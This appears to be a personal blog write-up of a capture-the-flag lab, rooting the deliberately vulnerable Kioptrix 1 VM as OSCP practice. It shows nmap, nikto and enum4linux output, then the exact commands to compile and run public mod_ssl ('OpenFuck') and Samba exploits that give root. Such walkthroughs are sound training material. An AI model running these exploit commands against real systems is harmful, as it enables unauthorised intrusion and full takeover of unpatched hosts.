Back again and this time with a new goal in mind. Recently a friend of mine got his OSCP, which has now inspired me to go for mine in the near future. Until then however, I’m gonna go through CTF that are more like what I can expect in the OSCP. So a little googling and I found this blog by abatchy. The first one I’ll be tackling is the Kioptrix 1 vm . It’s an easy vm to tackle with multiple ways of getting root access. As always let’s start with some recon.
# Nmap 7.40 scan initiated Wed Aug 30 03:40:59 2017 as: nmap -sSVC -A -p- -oN nmap-scan 192.168.1.24
Nmap scan report for 192.168.1.24
Host is up (0.00022s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2017-08-30T21:41:25+00:00; +13h59m59s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_64_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
|_ SSL2_DES_192_EDE3_CBC_WITH_MD5
1024/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:7F:18:41 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Running nmap against the machine reveals multiple ports opened, the ones we are interested in are 22,80,139,443.
SSH version seems pretty solid with no real vulnerabilities, I moved onto port 80 an apaache site. Navigated to the site revealed nothing of use, just an apache page.
Since it’s a webpage I decided to use nikto to see if it can find something.
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.24
+ Target Hostname: 192.168.1.24
+ Target Port: 80
+ Start Time: 2017-09-06 02:20:06 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server leaks inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.0.1j). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). http://www.cert.org/advisories/CA-2000-02.html.
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3092: /test.php: This might be interesting...
+ 8345 requests: 0 error(s) and 21 item(s) reported on remote host
+ End Time: 2017-09-06 02:20:25 (GMT-4) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
OpenSSL and mod_ssl seem to be out of date, doing a searchsploit on openssl gave me some exploits but one in particular caught my eye,OpenFuck. Obviously it caught my eye because of the name, but looking into it, the exploit would give me root access. Heartbleed wouldn’t work for this version of openssl as you need version 1.0.1 to 1.0.1f. Copy that file into your working directory and compiling won’t work. After a bit of research it turns out you need to install some packages and edit the file which are described here . Only thing you need to change is instead of installing libssl-dev, you install libssl1.0-dev and it should work.
Now gcc -o openssl-explt 764.c -lcrypto and run the executable ./openssl-explt gives you the expected parameters which are the targe hex value given in a table below (0x6b for us), target ip and a port number.
Now we run the command ./openssl-explt 0x6b 192.168.1.24 443, let it do its thing and boom, we have root access.
However, the description mentioned multiple ways of getting root. So I went back through my nmap logs and saw a samba share open. Running an enum4linux scan against the machine gave me a list of users but more importantly, the version number.
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Aug 30 04:07:55 2017
==========================
| Target Information |
==========================
Target ……….. 192.168.1.24
RID Range …….. 500-550,1000-1050
Username ……… ”
Password ……… ”
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 192.168.1.24 |
====================================================
[+] Got domain/workgroup name: MYGROUP
============================================
| Nbtstat Information for 192.168.1.24 |
============================================
Looking up status of 192.168.1.24
KIOPTRIX <00> – B Workstation Service
KIOPTRIX <03> – B Messenger Service
KIOPTRIX <20> – B File Server Service
..__MSBROWSE__. <01> – B Master Browser
MYGROUP <00> – B Domain/Workgroup Name
MYGROUP <1d> – B Master Browser
MYGROUP <1e> – B Browser Service Elections
MAC Address = 00-00-00-00-00-00
=====================================
| Session Check on 192.168.1.24 |
=====================================
[+] Server 192.168.1.24 allows sessions using username ”, password ”
===========================================
| Getting domain SID for 192.168.1.24 |
===========================================
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can’t determine if host is part of domain or part of a workgroup
======================================
| OS information on 192.168.1.24 |
======================================
[+] Got OS info for 192.168.1.24 from smbclient: Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
[+] Got OS info for 192.168.1.24 from srvinfo:
KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
platform_id : 500
os version : 4.5
server type : 0x9a03
=============================
| Users on 192.168.1.24 |
=============================
=========================================
| Share Enumeration on 192.168.1.24 |
=========================================
WARNING: The “syslog” option is deprecated
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Domain=[MYGROUP] OS=[Unix] Server=[Samba 2.2.1a]
Sharename Type Comment
——— —- ——-
IPC$ IPC IPC Service (Samba Server)
ADMIN$ IPC IPC Service (Samba Server)
Server Comment
——— ——-
KIOPTRIX Samba Server
Workgroup Master
——— ——-
MYGROUP KIOPTRIX
WORKGROUP READYSHARE
Again using searchsploit, I found another exploit that would give me remote code execution. Copying that again into the working directory and compiling it gcc 10.c -o smb-explt. Running ./smb-explt would spit out the parameters needed, the platform (linux in our case) and ip address. ./smb-explt -b linux -c 192.168.1.24, boom root again.
This VM was nice and simple, good way to get back into CTF after a bit of a break. Gonna start the second one ASAP which is going to be more of a challenge.
main 